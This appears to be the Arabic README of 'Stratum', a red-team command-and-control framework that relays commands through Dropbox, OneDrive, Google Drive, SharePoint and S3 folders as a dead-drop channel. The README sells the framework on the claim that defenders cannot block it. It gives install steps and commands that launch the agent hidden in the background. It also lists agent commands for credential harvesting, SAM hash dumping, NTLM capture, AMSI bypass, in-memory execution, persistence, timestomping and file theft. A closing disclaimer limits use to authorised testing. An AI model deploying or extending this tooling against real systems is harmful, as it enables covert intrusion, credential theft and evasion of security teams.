
سحابة أصلية لإطار عمل C2 يستخدم التخزين السحابي كقناة اتصال dead-drop
إطار عمل الثبات السحابي · الإصدار 3.0.1
نقطة ارتكاز احتياطية تمر عبر بنية تحتية لا يمكن لفرق الدفاع حظرها.
خادم القيادة والتحكم الأساسي لديك يتوقف عن العمل. النطاق يُدرج في القائمة السوداء. المنارة (beacon) تُكتشف. برنامج الحماية الطرفية (EDR) يقتل العملية. أنت خارج اللعبة.
تحتاج إلى قناة ثانية — قناة لم يكن من المقرر حظرها من الأساس.
ماذا لو بدا حركة القيادة والتحكم تمامًا كموظف يقوم بمزامنة ملفات إلى Dropbox؟
هذا هو Stratum. تنتقل الأوامر والاستجابات كملفات عادية داخل مجلد تخزين سحابي. لا يتصل الوكيل (agent) أبدًا بالبنية التحتية للمهاجم. حركة المرور الوحيدة القابلة للملاحظة هي HTTPS إلى مزود خدمة قام جدار الحماية لدى الهدف بإدراجه بالفعل في القائمة البيضاء — لأن حظر Dropbox أو OneDrive يعني حظر كل موظف يستخدمه.
لا خادم فريق. لا نطاق يملكه المهاجم. لا شهادة TLS مشبوهة. لا شيء يمكن حظره.
المشغّل مزود الخدمة السحابية الهدف
──────── ───────────── ──────
/Machine1/
WebGUI ──HTTPS──► input.txt 🔒 ◄── استطلاع ── الوكيل
output.txt 🔒 ──► قراءة ──┘
heartbeat.txt (منارة مشفرة)
يستيقظ الوكيل على فاصل زمني قابل للتهيئة (+ تشويش لوغاريتمي طبيعي)، ويقرأ ملف الإدخال، وينفذ، ويشفر الاستجابة، ويرفعها، ثم ينام. كل شيء مشفر من الطرف إلى الطرف باستخدام RSA-4096-OAEP + AES-256-GCM. لا يظهر عنوان IP الخاص بالمشغّل أبدًا في أي سجل شبكة على جانب الهدف.
| المزود | ملاحظات | |
|---|---|---|
| Dropbox | رمز تحديث OAuth2 · حسابات الأعمال والشخصية | |
| Microsoft OneDrive | واجهة Microsoft Graph API · حسابات شخصية وM365 | |
| Google Drive | واجهة Google Drive API v3 · تدفق خدمة OAuth2 | |
| SharePoint Online | واجهة Microsoft Graph API · مواقع مستأجري M365 | |
| متوافق مع S3 | AWS S3 · DigitalOcean Spaces · Backblaze B2 · أي نقطة نهاية S3 |
تشترك جميعها الخمسة في نفس تنسيق الإرسال، ونفس زوج مفاتيح RSA، ونفس جلسة المشغّل. بدّل المزود في منتصف المهمة خلال دقائق دون لمس الوكيل. لا يوجد إطار عمل مفتوح المصدر آخر يوفر هذا جاهزًا خارج الصندوق.
مركز العمليات الأمنية (SOC) الذي يريد إيقاف C2 يحظر نطاق خادم الفريق أو البنية التحتية الأمامية. أما SOC الذي يريد إيقاف Stratum فعليه حظر Dropbox وOneDrive وGoogle Drive وSharePoint وS3 في وقت واحد. هذه ليست قاعدة جدار حماية — بل قرار تجاري لن تتخذه أي مؤسسة. لا تحاول بنية الإسقاط الميت (dead-drop) تفادي الاكتشاف. إنها تعمل على بنية تحتية قرر المدافع بالفعل الوثوق بها، بشكل دائم.
| التنسيق | المنصة | التبعيات |
|---|---|---|
.exe / .dll | Windows | لا شيء — PE مُجمّع بـ Rust (MSVC-ABI)، لا مترجم، لا PowerShell في شجرة العمليات |
.elf | Linux | لا شيء — musl-static مُجمّع بـ Rust، يعمل على أي Linux x86_64 |
.bin | Linux / Windows | كود شل x64 PIC — أسقطه في أي محمّل أو حاقن خارجي |
يولّد المعالج جميعها. تجيب على الأسئلة؛ فيقوم بالترجمة والتشفير والتغليف. لا أعلام مترجم، لا متغيرات بيئة، لا إدارة مفاتيح يدوية.
| الوضع | كيف يعمل | الأفضل لـ |
|---|---|---|
| staged-enc | كعب برمجي (stub) مصغّر على الهدف. عند أول تشغيل: يجلب مفتاح تشغيل لمرة واحدة من السحابة، يفك تشفير الوكيل الكامل في الذاكرة، يحذف المفتاح من السحابة. لا يلمس الحمولة القرص بنص واضح أبدًا. | المهام القياسية — أصغر قطعة أثرية أولية، يُدمّر المفتاح عند التسليم |
| stageless-enc | وكيل كامل مضمّن في ملف تسليم واحد، مشفر بمفتاح مدمج في الكعب البرمجي. لا حاجة لجلب مفتاح سحابي بعد التسليم. | الشبكات المعزولة أو المقيدة — ملف واحد مكتفٍ ذاتيًا |
| stageless-plain | وكيل بنص واضح. تبقى الأوامر والاستجابات مشفرة بالكامل أثناء النقل. | المختبرات والبيئات الخاضعة للتحكم |
تشترك جميع الأوضاع في نفس السلوك بعد التنفيذ: يخزّن الكعب البرمجي مؤقتًا كتلة مشفرة ببصمة عتاد محلية بحيث تُحمَّل التشغيلات اللاحقة من القرص دون لمس السحابة.
قبل لمس أي مفتاح تسجيل أو إدخال cron، شغّل /persist probe. يفحص الوكيل كل تقنية متاحة عند مستوى الامتياز الحالي ويعيد تقرير جدوى. غير مدمر — لا يترك أي قطع أثرية خلفه.
/persist probe
✓ schtask-logon — ممكن (SYSTEM)
✓ registry-run — ممكن
✗ schtask-boot — يتطلب رفع صلاحيات
✓ startup-folder — ممكن
...
اختر ما ينجح، ثبّته، أزله بنظافة عند الانتهاء. تتعقب الواجهة الرسومية كل تقنية مثبتة لكل جلسة. /kill يهدم كل شيء — الثبات، الملف الثنائي، القطع الأثرية السحابية — بأمر واحد.
تاريخ الإيقاف، نافذة الصيانة، التشويش اللوغاريتمي الطبيعي، مفتاح التشغيل لمرة واحدة — كلها تُهيأ مرة واحدة في المعالج وتُدمج في الوكيل بشكل دائم. لا شيء لإدارته أثناء المهمة، لا شيء لتنسى تنظيفه في النهاية.
Stratum ليس بديلاً عن Cobalt Strike أو Sliver أو Havoc. إنه الطبقة التي تحتها.
اليوم 1: انشر Stratum جنبًا إلى جنب مع C2 الأساسي
اليوم 4: تُكتشف المنارة الأساسية، تُقتل العملية
اليوم 4: افتح جلسة Stratum، قيّم ما حدث
اليوم 4: أعد إدخال C2 الأساسي عبر قشرة Stratum
اليوم 5: عودة إلى الوصول الكامل
يتولى C2 الأساسي مرحلة ما بعد الاستغلال. يتولى Stratum البقاء. إنها القناة التي لم يكن من المقرر اكتشافها لأنها لم تكن تحاول الاختباء أبدًا — إنها تبدو فقط كـ Dropbox.
هذا هو نفس النموذج المستخدم في البرية من قبل جهات تهديد موثقة في 2025–2026: TukTuk (إسقاط ميت عبر Dropbox + Arweave)، NarwhalRAT/APT37 (pCloud)، COBALT MIRAGE/Drokbk (GitHub). يجلب Stratum نفس البنية إلى جانب الفريق الأحمر كإطار عمل حقيقي، وليس كبرنامج خبيث لمرة واحدة.
git clone https://github.com/daniomass/stratum-c2.git
cd stratum-c2
./install.sh --server
الوكلاء المُجمّعون (.exe, .elf, .dll, .bin, Rust أصلي) ميزة أساسية في Stratum. يكتشف المعالج أي أهداف متاحة ويستخدمها، متخطيًا فقط ما لا يمكنه بناؤه.
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source "$HOME/.cargo/env"
# Windows PE / DLL
rustup target add x86_64-pc-windows-gnu && sudo apt install mingw-w64
# Linux musl-static ELF
rustup target add x86_64-unknown-linux-musl && sudo apt install musl-tools
# كود شل x64 مسطح
rustup target add x86_64-unknown-none && sudo apt install lld
python3 stratum-server.py
افتح https://<host>:<port>، سجّل الدخول، انقر Deploy. يرشدك المعالج عبر بيانات اعتماد المزود، تنسيق الوكيل، وضع النشر، هوية الثبات، والحواجز الحماية (تاريخ الإيقاف، النافذة، التشويش). في النهاية يسلّمك قطعًا أثرية جاهزة للتشغيل. تفاصيل الإعداد الكاملة في الويكي (docs/wiki.html).
# Linux — في الخلفية، بدون طرفية
chmod +x stub.elf && nohup ./stub.elf &>/dev/null &
# Windows — نافذة مخفية (cmd أو PowerShell)
start /b stub.exe
تظهر الجلسة في الواجهة الرسومية تلقائيًا عند أول منارة.
متعددة المشغّلين، في الوقت الفعلي، قائمة على المتصفح. يرى كل مشغّل نفس الجلسات مباشرة عبر WebSocket.
/sysinfo — ملف نظام كامل: عتاد، نظام تشغيل، شبكة، AV/EDR، حاويات
/persist probe — فحص جدوى غير مدمر، جميع التقنيات
/persist install <id>— تثبيت تقنية ثبات
/persist remove <id> — إزالة تقنية محددة
/creds harvest — جمع بيانات الاعتماد (Firefox/سحابي يُحلل سطريًا، الباقي يُخزَّن)
/creds harvest decrypt — + فك تشفير Chrome/Edge/DPAPI عبر CryptUnprotectData (OPSEC↑)
/creds coerce — فرض مصادقة محلية لالتقاط NTLMv2 / تعداد وكلاء SSH
/creds sam — استخراج تجزئات SAM في الذاكرة (Windows، يتطلب SYSTEM أو Admin برفع صلاحيات)
/creds listen start [proto:port] — بدء مستمع بيانات اعتماد (smb:445, http:80, http-ntlm:80)
/creds listen stop [proto:port] — إيقاف مستمع محدد أو جميع المستمعين
/creds listen dump — استرجاع بيانات اعتماد NTLMv2 + Basic الملتقطة (يملأ تبويب بيانات الاعتماد تلقائيًا)
/bof <file.o> [args] — تنفيذ ملف كائن منارة (COFF) في الذاكرة (Windows، Rust فقط)
/assembly <file.exe> [args] — تنفيذ تجميع .NET عبر استضافة CLR (Windows، Rust فقط)
/assembly-amsibypass <file.exe> [args] — تجميع .NET + تجاوز AMSI (Windows، Rust فقط)
/memexec <file> [args] — تنفيذ PE/ELF في الذاكرة (Win: انعكاسي، Linux: memfd — Rust فقط)
/script <file> [interpreter] — تنفيذ سكربت بدون ملف عبر أنبوب stdin (Win+Linux، Rust فقط)
/script-amsibypass <file> [interp] — سكربت بدون ملف + تجاوز AMSI (Win PS فقط، Rust فقط)
/kill — إزالة كل الثبات + مسح القطع الأثرية + إنهاء الوكيل
/download <path> — سحب ملف من الهدف
/upload <path> — دفع ملف إلى الهدف
/sleep <s> — تغيير فاصل المنارة مباشرة
/jitter <pct> — تغيير نسبة التشويش مباشرة
/timestomp <args> — تعيين طوابع زمنية للملفات على الهدف
/exit — إيقاف عملية الوكيل (يبقى الثبات قائمًا)
لكل جلسة تبويبات مخصصة: Shell · History · Artifacts · Persist · Credentials · Control · Info. عروض عامة: Sessions · Deploy · Archives · Tradecraft · Settings.
| الوضع | الوصف |
|---|---|
local | اسم مستخدم/كلمة مرور في server.yml. لا أدوار — جميع المشغّلين متساوون. |
oidc-manual | مزود OIDC خارجي (Keycloak, Azure AD, Okta). وصول قائم على القائمة البيضاء. |
oidc-auto | أي هوية مصادق عليها تحصل على الوصول. قائمة سوداء للإلغاء. |
| الطبقة | الخوارزمية |
|---|---|
| تبادل المفاتيح | RSA-4096-OAEP-SHA-256 (زوج مفاتيح لكل نشر) |
| تشفير الأوامر | AES-256-GCM (مفتاح جلسة، مشترك مسبقًا) |
| تشفير نبضات القلب | RSA-4096-OAEP-SHA-256 + AES-256-GCM |
| توقيع الاستجابات | RSA-PSS-SHA-256 |
| اشتقاق مفتاح الكتلة | PBKDF2-HMAC-SHA-256 · 210,000 تكرار |
| مفتاح التشغيل | لمرة واحدة — يُحذف من السحابة عند أول تشغيل للوكيل |
| مفتاح الجلسة في الملف الثنائي | مُموّه بـ XOR في .rodata — لا يظهر السداسي العشري الخام حرفيًا أبدًا |
| تشفير الكتلة المحلية | AES-256-GCM — كتلة ببصمة عتاد مخزنة مؤقتًا على القرص |
إضافة مزود هي حوالي 360 سطرًا: نقل HTTP (upload / download / delete / تحديث الرمز) + معالج نشر. التشفير، نبضات القلب، توزيع الأوامر، الثبات، تزوير الطوابع الزمنية، وتتبع القطع الأثرية تأتي مجانًا من النواة. تنفيذ مرجعي: providers/dropbox/.
التوثيق الفني الكامل — البروتوكول التشفيري، تنسيق الإرسال، داخل نبضات القلب، واجهة النقل، تقنيات الثبات، ملاحظات OPSEC — موجود في docs/wiki.html. افتحه محليًا في متصفح.
نماذج واجهة المستخدم لجميع الشاشات (قائمة الجلسات، القشرة، تبويب الثبات، تبويب المعلومات، معالج النشر، الدردشة) موجودة في docs/mockups.html — افتحها محليًا في متصفح لتصفح كل مشهد.
Stratum مخصص لأغراض تعليمية واختبارات أمنية مصرح بها فقط.
يُقدَّم هذا البرنامج لأبحاث الأمن الدفاعي، والتدريب على اختبار الاختراق، والتقييمات الأمنية المصرح بها. يتحمل المستخدمون وحدهم مسؤولية ضمان امتثال استخدامهم لجميع القوانين واللوائح المعمول بها.
بالنسبة للخدمات السحابية: إذا كان الاختبار يستهدف استضافة على Dropbox أو OneDrive أو Google Drive أو S3 أو SharePoint، فيجب أن يكون لديك إذن صريح من كل من مزود الخدمة ومالك المورد. الوصول غير المصرح به إلى الخدمات السحابية غير قانوني.
الوصول غير المصرح به إلى أنظمة الكمبيوتر جريمة جنائية ويمكن أن يؤدي إلى عقوبات مدنية وجنائية شديدة، بما في ذلك الغرامات والسجن.
باستخدام هذا البرنامج، تقر بأنك قرأت هذا الإخلاء وتوافق على استخدام Stratum فقط لأغراض قانونية وبإذن مناسب.
انظر CHANGELOG.md لسجل الإصدارات الكامل.
صُمم للمشغّلين الذين يحتاجون بنية تحتية غير موجودة.
إذا كان Stratum مفيدًا، ففكر في ترك ⭐ — فهو يساعد الآخرين على العثور عليه.